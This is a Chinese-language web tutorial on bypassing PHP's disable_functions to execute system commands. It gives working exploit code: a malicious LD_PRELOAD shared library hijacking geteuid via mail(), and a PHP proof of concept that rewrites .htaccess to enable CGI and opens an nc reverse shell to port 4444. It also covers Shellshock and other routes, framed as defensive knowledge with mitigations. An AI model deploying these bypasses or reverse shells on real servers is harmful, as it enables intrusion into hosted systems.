溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

PHP通過(guò)bypass disable functions執(zhí)行系統(tǒng)命令的方法有哪些

發(fā)布時(shí)間:2021-06-30 17:42:51 來(lái)源:億速云 閱讀:136 作者:chen 欄目:開(kāi)發(fā)技術(shù)

本篇內(nèi)容主要講解“PHP通過(guò)bypass disable functions執(zhí)行系統(tǒng)命令的方法有哪些”,感興趣的朋友不妨來(lái)看看。本文介紹的方法操作簡(jiǎn)單快捷,實(shí)用性強(qiáng)。下面就讓小編來(lái)帶大家學(xué)習(xí)“PHP通過(guò)bypass disable functions執(zhí)行系統(tǒng)命令的方法有哪些”吧!

一、為什么要bypass disable functions

為了安全起見(jiàn),很多運(yùn)維人員會(huì)禁用PHP的一些“危險(xiǎn)”函數(shù),例如eval、exec、system等,將其寫(xiě)在php.ini配置文件中,就是我們所說(shuō)的disable functions了,特別是虛擬主機(jī)運(yùn)營(yíng)商,為了徹底隔離同服務(wù)器的客戶,以及避免出現(xiàn)大面積的安全問(wèn)題,在disable functions的設(shè)置中也通常較為嚴(yán)格。

攻與防是對(duì)立的,也是互相補(bǔ)充的,既然有對(duì)函數(shù)的禁用措施,就會(huì)有人想方設(shè)法的去突破這層限制,我們只有在掌握突破方式以及原理的基礎(chǔ)之上,才能更好的去防范這類(lèi)攻擊。

執(zhí)行系統(tǒng)命令通常是攻擊者拿到網(wǎng)站webshell之后想要進(jìn)一步動(dòng)作的必然操作,如若不能執(zhí)行系統(tǒng)命令,接下來(lái)的更深入的攻擊將很難繼續(xù),所以就有了網(wǎng)站管理者禁用類(lèi)似exec、system之類(lèi)函數(shù)的現(xiàn)象。然而隨著技術(shù)的不斷進(jìn)步,不斷有新的思路出現(xiàn),單純的禁用這些函數(shù),某些情況下已經(jīng)不能阻止攻擊者達(dá)到執(zhí)行系統(tǒng)命令的目的了,那么攻擊者用什么樣的方式突破了disable functions呢?我們又怎樣防范這樣的攻擊呢?

二、 Bash漏洞導(dǎo)致的任意命令執(zhí)行

GNU Bash 環(huán)境變量遠(yuǎn)程命令執(zhí)行漏洞(CVE-2014-6271)是GNU Bash 的一個(gè)遠(yuǎn)程代碼執(zhí)行漏洞,在這個(gè)CVE的介紹中,可以看到這樣的描述:“GNU Bash 4.3及之前版本中存在安全漏洞,該漏洞源于程序沒(méi)有正確處理環(huán)境變量值內(nèi)的函數(shù)定義。遠(yuǎn)程攻擊者可借助特制的環(huán)境變量利用該漏洞執(zhí)行任意代碼。以下產(chǎn)品和模塊可能會(huì)被利用:OpenSSH sshd中的ForceCommand功能,Apache HTTP Server中的mod_cgi和mod_cgid模塊,DHCP客戶端等”。實(shí)際上,PHP也可以利用這個(gè)漏洞做很多事情,甚至有可能直接在80導(dǎo)致遠(yuǎn)程命令執(zhí)行。關(guān)于這個(gè)漏洞的詳細(xì)情況可以查閱CVE-2014-6271的相關(guān)資料,此處不再贅述。

下面我們來(lái)看一下PHP到底什么地方能用到bash的這個(gè)漏洞呢?其實(shí)可以用的地方不止一處,這里我們以mail函數(shù)作為例子,其他地方同理,可以自行分析。

PHP的mail函數(shù)提供了3個(gè)必選參數(shù)和2個(gè)可選參數(shù),這里我們主要看最后一個(gè)參數(shù),PHP官方手冊(cè)上對(duì)最后一個(gè)參數(shù)的說(shuō)明:

“Theadditional_parameters parameter can be used to pass an additional parameter tothe program configured to use when sending mail using the sendmail_pathconfiguration setting. For example, this can be used to set the envelope senderaddress when using sendmail with the -f sendmail option.
Theuser that the webserver runs as should be added as a trusted user to thesendmail configuration to prevent a ‘X-Warning' header from being added to themessage when the envelope sender (-f) is set using this method. For sendmailusers, this file is /etc/mail/trusted-users. “

簡(jiǎn)單的說(shuō)就是這個(gè)參數(shù)可以通過(guò)添加附加的命令作為發(fā)送郵件時(shí)候的配置,比如使用-f參數(shù)可以設(shè)置郵件發(fā)件人等,官方文檔在范例Example #3也有所演示,具體可以參考官方文檔: http://php.net/manual/zh/function.mail.php 。

在mail函數(shù)的源代碼mail.c中,我們可以找到如下代碼片段:

if (extra_cmd != NULL) {
       spprintf(&sendmail_cmd, 0,"%s %s", sendmail_path, extra_cmd);
    } else {
       sendmail_cmd = sendmail_path;
    }

如果傳遞了第五個(gè)參數(shù)(extra_cmd),則用spprintf將sendmail_path和extra_cmd拼接到sendmail_cmd中(其中sendmail_path就是php.ini中的sendmail_path配置項(xiàng)),隨后將sendmail_cmd丟給popen執(zhí)行:

#ifdef PHP_WIN32
    sendmail = popen_ex(sendmail_cmd,"wb", NULL, NULL TSRMLS_CC);
#else
    /* Since popen() doesn't indicate if theinternal fork() doesn't work
    *(e.g. the shell can't be executed) we explicitly set it to 0 to be
    *sure we don't catch any older errno value. */
    errno = 0;
    sendmail = popen(sendmail_cmd,"w");
#endif

如果系統(tǒng)默認(rèn)sh是bash,popen會(huì)派生bash進(jìn)程,而我們剛才提到的CVE-2014-6271漏洞,直接就導(dǎo)致我們可以利用mail()函數(shù)執(zhí)行任意命令,繞過(guò)disable_functions的限制。但是這里其實(shí)有一個(gè)問(wèn)題,就是extra_cmd在spprintf之前做了安全檢查,我當(dāng)前的PHP版本是最新的7.2.4,代碼位置在mail.c的第371-375行:

 if (force_extra_parameters) {
       extra_cmd =php_escape_shell_cmd(force_extra_parameters);
    } else if (extra_cmd) {
       extra_cmd =php_escape_shell_cmd(ZSTR_VAL(extra_cmd));
    }

php_escape_shell_cmd函數(shù)會(huì)對(duì)特殊字符(包括&#;`|*?~<>^()[]{}$\, \x0A and \xFF. ‘ 等)進(jìn)行轉(zhuǎn)義,那這樣是不是就沒(méi)辦法了呢?不是的,我們可以通過(guò)putenv函數(shù)來(lái)設(shè)置一個(gè)包含自定義函數(shù)的環(huán)境變量,然后通過(guò)mail函數(shù)來(lái)觸發(fā),網(wǎng)上早已有POC。

同樣調(diào)用popen派生進(jìn)程的php函數(shù)還有imap_mail,或者還可能有其他的我們沒(méi)有發(fā)現(xiàn)的函數(shù),所以如果要防范這類(lèi)攻擊,最好的辦法就是從根源上入手,修復(fù)CVE-2014-6271這個(gè)bash漏洞。

三、LD_PRELOAD:無(wú)需bash漏洞

上文說(shuō)到mail函數(shù)利用bash破殼漏洞可以實(shí)現(xiàn)突破disable functions的限制執(zhí)行系統(tǒng)命令,但是像這樣的漏洞,一般安全意識(shí)稍好一點(diǎn)的運(yùn)維人員,都會(huì)打上補(bǔ)丁了,那么是不是打上補(bǔ)丁之后就一定安全了呢?顯然答案是否定的,LD_PRELOAD是Linux系統(tǒng)的下一個(gè)有趣的環(huán)境變量:

它允許你定義在程序運(yùn)行前優(yōu)先加載的動(dòng)態(tài)鏈接庫(kù)。這個(gè)功能主要就是用來(lái)有選擇性的載入不同動(dòng)態(tài)鏈接庫(kù)中的相同函數(shù)。通過(guò)這個(gè)環(huán)境變量,我們可以在主程序和其動(dòng)態(tài)鏈接庫(kù)的中間加載別的動(dòng)態(tài)鏈接庫(kù),甚至覆蓋正常的函數(shù)庫(kù)。一方面,我們可以以此功能來(lái)使用自己的或是更好的函數(shù)(無(wú)需別人的源碼),而另一方面,我們也可以以向別人的程序注入程序,從而達(dá)到特定的目的。

它允許你定義在程序運(yùn)行前優(yōu)先加載的動(dòng)態(tài)鏈接庫(kù),我們只要知道這一件事就足夠了,這說(shuō)明什么?這說(shuō)明我們幾乎可以劫持PHP的大部分函數(shù),還拿上文的mail函數(shù)作為例子,上文說(shuō)過(guò),php的mail函數(shù)實(shí)際上是調(diào)用了系統(tǒng)的sendmail命令,那么我們來(lái)看一下sendmail都調(diào)用了哪些庫(kù)函數(shù):

PHP通過(guò)bypass disable functions執(zhí)行系統(tǒng)命令的方法有哪些

使用readelf -Ws /usr/sbin/sendmail命令來(lái)查看,我們發(fā)現(xiàn)sendmail函數(shù)在運(yùn)行過(guò)程動(dòng)態(tài)調(diào)用了很多標(biāo)準(zhǔn)庫(kù)函數(shù),我們從中隨便選取一個(gè)庫(kù)函數(shù)geteuid進(jìn)行測(cè)試。

首先我們編寫(xiě)一個(gè)自己的動(dòng)態(tài)鏈接程序,hack.c:

#include<stdlib.h>
#include <stdio.h>    
#include<string.h> 
void payload() {
    system("touch/var/www/html/test");
}  
int geteuid() {
if(getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

當(dāng)這個(gè)共享庫(kù)中的geteuid被調(diào)用時(shí),嘗試加載payload()函數(shù),執(zhí)行命令,在/var/www/html目錄下創(chuàng)建一個(gè)名字為test的文件。這里實(shí)際應(yīng)用時(shí)應(yīng)該注意編譯平臺(tái)和目標(biāo)盡量相近,以及注意路徑問(wèn)題,避免不必要的麻煩,這里我們僅僅作為測(cè)試,不考慮這些問(wèn)題。

[[email protected]]# gcc -c -fPIC hack.c -o hack
[[email protected]]# gcc -shared hack -o hack.so

我們把hack.so放到WEB目錄,然后編寫(xiě)一個(gè)PHP文件進(jìn)行測(cè)試:

<?php
putenv("LD_PRELOAD=/var/www/html/hack.so");
mail("[email protected]","","","","");
?>

我們的/var/www/html/目錄下本來(lái)只有hack.so和index.php這兩個(gè)文件,當(dāng)我們?cè)跒g覽器中訪問(wèn)index.php頁(yè)面之后,可以看到目錄下又多出了一個(gè)test文件,說(shuō)明我們的系統(tǒng)命令執(zhí)行成功。

PHP通過(guò)bypass disable functions執(zhí)行系統(tǒng)命令的方法有哪些

(PS:筆者實(shí)際測(cè)試時(shí)的環(huán)境是VMPlayer7+CentOS7+Apache2.4+PHP7.2.4的環(huán)境,測(cè)試時(shí)遇到一個(gè)問(wèn)題,就是每次刷新訪問(wèn)index.php時(shí),虛擬機(jī)的VM進(jìn)程會(huì)瘋狂的讀寫(xiě)硬盤(pán),幾乎獨(dú)占磁盤(pán)的所有活動(dòng)時(shí)間(機(jī)械硬盤(pán)),導(dǎo)致虛擬機(jī)卡頓到連鼠標(biāo)都無(wú)法移動(dòng),物理機(jī)也因此受到影響明顯卡頓,約半小時(shí)左右這種情況會(huì)突然消失,最終測(cè)試結(jié)果成功。不知道是什么原因引起這種現(xiàn)象,需要進(jìn)一步研究,但不在本文討論范圍之內(nèi)。)

這種繞過(guò)行為實(shí)施起來(lái)很簡(jiǎn)單,并且目前為止還不受PHP與Linux版本的限制,但是也很容易防御,只要禁用相關(guān)的函數(shù)(putenv)或者限制對(duì)環(huán)境變量的傳遞就可以了,但是要注意對(duì)現(xiàn)有業(yè)務(wù)是否造成影響。

其實(shí)對(duì)于這個(gè)問(wèn)題,早在2008年就有人向PHP官方反饋過(guò),只不過(guò)PHP給出的回復(fù)是你最好禁用putenv函數(shù): https://bugs.php.net/bug.php?id=46741 ,所以我們有理由相信在后續(xù)的PHP版本中也不會(huì)對(duì)這個(gè)問(wèn)題有什么針對(duì)性的解決方案。

四、.htaccess:不止重定向

大家對(duì).htaccess文件一定不陌生,沒(méi)錯(cuò),在apache的WEB環(huán)境中,我們經(jīng)常會(huì)使用.htaccess這個(gè)文件來(lái)確定某個(gè)目錄下的URL重寫(xiě)規(guī)則,特別是一些開(kāi)源的CMS或者框架當(dāng)中經(jīng)常會(huì)用到,比如著名的開(kāi)源論壇discuz!,就可以通過(guò).htaccess文件實(shí)現(xiàn)URL的靜態(tài)化,大部分PHP框架,例如ThinkPHP和Laravel,在apache環(huán)境下會(huì)用.htaccess文件實(shí)現(xiàn)路由規(guī)則。但是如果.htaccess文件被攻擊者修改的話,攻擊者就可以利用apache的mod_cgi模塊,直接繞過(guò)PHP的任何限制,來(lái)執(zhí)行系統(tǒng)命令。

關(guān)于mode_cgi,可以參考apache的官方說(shuō)明:  http://man.chinaunix.net/newsoft/ApacheManual/mod/mod_cgi.html 。

“任何具有mime類(lèi)型application/x-httpd-cgi或者被 cgi-script處理器(Apache 1.1或以后版本)處理的文件將被作為CGI腳本對(duì)待并由服務(wù)器運(yùn)行, 它的輸出將被返回給客戶端。通過(guò)兩種途徑使文件成為CGI腳本,或者文件具有已由 AddType指令定義的擴(kuò)展名,或者文件位于 ScriptAlias目錄中。”,這就表示,apache允許WEB服務(wù)器與可執(zhí)行文件進(jìn)行交互,這就意味著,你可以用C或者python編寫(xiě)WEB應(yīng)用,聽(tīng)起來(lái)我們好像可以做任何apache權(quán)限用戶能做的事情了,那么到底如何實(shí)現(xiàn)呢?

首先需要滿足幾個(gè)條件,第一,必須是apache環(huán)境,第二,mod_cgi已經(jīng)啟用(在我的環(huán)境下是默認(rèn)啟用的),第三,必須允許.htaccess文件,也就是說(shuō)在httpd.conf中,要注意AllowOverride選項(xiàng)為All,而不是none,第四,必須有權(quán)限寫(xiě).htaccess文件。其實(shí)這幾個(gè)條件還是比較容易滿足的,滿足了以上的條件,就可以“搞事情”了。

在apache的配置中,有一個(gè)非常重要的指令,Options,Options指令是Apache配置文件中一個(gè)比較常見(jiàn)也比較重要的指令,Options指令可以在Apache服務(wù)器核心配置(server config)、虛擬主機(jī)配置(virtual host)、特定目錄配置(directory)以及.htaccess文件中使用。Options指令的主要作用是控制特定目錄將啟用哪些服務(wù)器特性。關(guān)于Options指令后可以附加的特性選項(xiàng)的具體作用及含義,可以參考這篇文章: http://www.365mini.com/page/apache-options-directive.htm ,當(dāng)然我們用到的就是ExecCGI選項(xiàng),表示允許使用mod_cgi模塊執(zhí)行CGI腳本。除了Options,我們還要配合另外一個(gè)AddHandler指令來(lái)使用,如果你對(duì)AddHandler不太熟悉沒(méi)關(guān)系,這么解釋一下就容易理解多了:AddType我們肯定很熟悉,比如配置apache對(duì)PHP的支持的時(shí)候,經(jīng)常會(huì)添加一行類(lèi)似AddTypeapplication/x-httpd-php .php這樣的配置,這其實(shí)是指定了文件擴(kuò)展名和內(nèi)容類(lèi)型之間的映射關(guān)系,而AddHandler則是指定擴(kuò)展名和處理程序之間的關(guān)系,也就是說(shuō),可以指定某個(gè)特定的擴(kuò)展名的文件,如何來(lái)進(jìn)行處理。

有了Options和AddHandler,我們就可以隨便指定一個(gè)特定的文件擴(kuò)展名以特定的程序來(lái)處理,這樣思路就很清晰了:先把要執(zhí)行的程序?qū)懭胍粋€(gè)特定擴(kuò)展名的文件里,然后修改.htaccess文件,通過(guò)Options指令允許使用mod_cgi模塊執(zhí)行CGI腳本,然后再讓我們特定的擴(kuò)展名以cgi-script進(jìn)行處理,這樣我們甚至可以反彈一個(gè)shell出來(lái)。

POC如下,附注釋:

<?php
$cmd = "nc -c'/bin/bash' 127.0.0.1 4444"; //反彈一個(gè)shell出來(lái),這里用本地的4444端口
$shellfile ="#!/bin/bash\n"; //指定shell
$shellfile .="echo -ne \"Content-Type: text/html\\n\\n\"\n"; //需要指定這個(gè)header,否則會(huì)返回500
$shellfile .="$cmd"; 
functioncheckEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
  echo "$text: " . ($condition ?$yes : $no) . "<br>\n";
}
if(!isset($_GET['checked']))
{
  @file_put_contents('.htaccess',"\nSetEnv HTACCESS on", FILE_APPEND); 
  header('Location: ' . $_SERVER['PHP_SELF']. '?checked=true'); //執(zhí)行環(huán)境的檢查
}
else
{
  $modcgi = in_array('mod_cgi',apache_get_modules()); // 檢測(cè)mod_cgi是否開(kāi)啟
  $writable = is_writable('.'); //檢測(cè)當(dāng)前目錄是否可寫(xiě)
  $htaccess = !empty($_SERVER['HTACCESS']);//檢測(cè)是否啟用了.htaccess
    checkEnabled("Mod-Cgienabled",$modcgi,"Yes","No");
    checkEnabled("Iswritable",$writable,"Yes","No");
    checkEnabled("htaccessworking",$htaccess,"Yes","No");
  if(!($modcgi && $writable&& $htaccess))
  {
    echo "Error. All of the above mustbe true for the script to work!"; //必須滿足所有條件
  }
  else
  {
 checkEnabled("Backing 
up.htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded!Saved in 
.htaccess.bak","Failed!"); //備份一下原有.htaccess
checkEnabled("Write 
.htaccessfile",file_put_contents('.htaccess',"Options 
+ExecCGI\nAddHandlercgi-script 
.dizzle"),"Succeeded!","Failed!");//.dizzle,我們的特定擴(kuò)展名
    checkEnabled("Write shellfile",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!");//寫(xiě)入文件
    checkEnabled("Chmod777",chmod("shell.dizzle",0777),"Succeeded!","Failed!");//給權(quán)限
    echo "Executing the script now.Check your listener <img src = 'shell.dizzle' style ='display:none;'>"; //調(diào)用
  }
}
?>

我們?cè)诒镜亻_(kāi)nc監(jiān)聽(tīng)4444端口,然后在瀏覽器中打開(kāi)這個(gè)頁(yè)面,如果執(zhí)行成功,將會(huì)反彈一個(gè)shell到4444端口:

PHP通過(guò)bypass disable functions執(zhí)行系統(tǒng)命令的方法有哪些

當(dāng)訪問(wèn)POC的時(shí)候,成功反彈了一個(gè)shell到本地的4444端口,可以看到執(zhí)行id命令后的回顯。

五、其他方式

除上述方式外,在某些特定情況下,還有很多能夠繞過(guò)php.ini的禁用函數(shù)達(dá)到執(zhí)行系統(tǒng)命令目的的方法,但是由于這些方法受到的限制頗多,很少有滿足條件的真實(shí)環(huán)境,所以鑒于篇幅原因,以下只粗略介紹幾個(gè)其他繞過(guò)方式,并提供相關(guān)的詳細(xì)介紹的文章鏈接,如果有興趣詳細(xì)了解,可以參考互聯(lián)網(wǎng)上的相關(guān)資料。

ImageMagick

ImageMagick是一款使用量很廣的圖片處理程序,很多廠商包括Discuz、Drupal、Wordpress等常用CMS中也調(diào)用了ImageMagick擴(kuò)展或ImageMagick庫(kù)進(jìn)行圖片處理,包括圖片的伸縮、切割、水印、格式轉(zhuǎn)換等等。在ImageMagick6.9.3-9以前的所有版本中都存在一個(gè)漏洞,當(dāng)用戶傳入一個(gè)包含『畸形內(nèi)容』的圖片的時(shí)候,就有可能觸發(fā)命令注入,官方在6.9.3-9版本中對(duì)漏洞進(jìn)行了不完全的修復(fù)。關(guān)于這個(gè)漏洞的具體利用和防御方式可以參考:

 http://wooyun.jozxing.cc/static/drops/papers-15589.html 。

pcntl_exec

pcntl是linux下的一個(gè)擴(kuò)展,可以支持php的多線程操作。很多時(shí)候會(huì)碰到禁用exec函數(shù)的情況,但如果運(yùn)維人員安全意識(shí)不強(qiáng)或?qū)HP不甚了解,則很有可能忽略pcntl擴(kuò)展的相關(guān)函數(shù)。

COM 組件

Windows環(huán)境下,當(dāng)php.ini的設(shè)置項(xiàng)com.allow_dcom =true時(shí),可以通過(guò)COM組件執(zhí)行系統(tǒng)命令,甚至開(kāi)啟安全模式也可以,相關(guān)資料參考: https://www.exploit-db.com/exploits/4553/ 。

win32std

win32std是一個(gè)很老的PHP擴(kuò)展,其中的win_shell_execute函數(shù)可以用來(lái)執(zhí)行Windows系統(tǒng)命令: https://www.exploit-db.com/exploits/4218/ 。

六、總結(jié)

對(duì)于入侵者來(lái)說(shuō),拿到一個(gè)webshell之后,如果想要進(jìn)一步獲取更高的權(quán)限或更多的數(shù)據(jù)和信息,執(zhí)行系統(tǒng)命令幾乎是必須的。當(dāng)我們?cè)赑HP應(yīng)用中出現(xiàn)了某些紕漏導(dǎo)致遭到入侵時(shí),如何讓損失降到最低就成了首要的問(wèn)題。從本文已經(jīng)列舉的方法中不難看出只要掌握了這些原理,防范工作是非常簡(jiǎn)單有效的,只要經(jīng)常關(guān)注安全動(dòng)態(tài),是完全可以做到對(duì)以上繞過(guò)措施進(jìn)行防御的。

到此,相信大家對(duì)“PHP通過(guò)bypass disable functions執(zhí)行系統(tǒng)命令的方法有哪些”有了更深的了解,不妨來(lái)實(shí)際操作一番吧!這里是億速云網(wǎng)站,更多相關(guān)內(nèi)容可以進(jìn)入相關(guān)頻道進(jìn)行查詢,關(guān)注我們,繼續(xù)學(xué)習(xí)!

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

php
AI